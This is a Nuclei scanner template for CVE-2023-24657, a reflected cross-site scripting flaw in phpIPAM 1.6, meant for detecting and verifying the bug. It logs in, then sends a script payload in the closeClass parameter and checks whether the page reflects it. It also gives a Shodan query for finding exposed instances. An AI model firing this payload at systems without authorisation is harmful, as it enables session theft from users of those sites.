nuclei-templates/http/cves/2023/CVE-2023-24657.yaml

46 lines
1.6 KiB
YAML
Raw Normal View History

2023-03-31 11:28:24 +00:00
id: CVE-2023-24657
info:
name: phpIPAM - 1.6 - Cross-Site Scripting
2023-03-31 11:28:24 +00:00
author: r3Y3r53
severity: medium
description: |
phpIPAM 1.6 contains a cross-site scripting vulnerability via the closeClass parameter at /subnet-masks/popup.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-03-31 11:28:24 +00:00
reference:
- https://github.com/phpipam/phpipam/issues/3738
- https://nvd.nist.gov/vuln/detail/CVE-2023-24657
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-24657
cwe-id: CWE-79
2023-07-11 19:49:27 +00:00
epss-score: 0.00076
cpe: cpe:2.3:a:phpipam:phpipam:1.6:*:*:*:*:*:*:*
2023-03-31 11:28:24 +00:00
metadata:
max-request: 2
2023-03-31 11:28:24 +00:00
shodan-query: html:"phpIPAM IP address management"
2023-06-04 08:13:42 +00:00
verified: true
2023-07-11 19:49:27 +00:00
vendor: phpipam
product: phpipam
2023-03-31 11:28:24 +00:00
tags: cve,cve2023,xss,phpipam,authenticated
http:
2023-03-31 11:28:24 +00:00
- raw:
- |
POST /app/login/login_check.php HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
ipamusername={{username}}&ipampassword={{password}}
- |
GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/2
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "Subnet masks")'
condition: and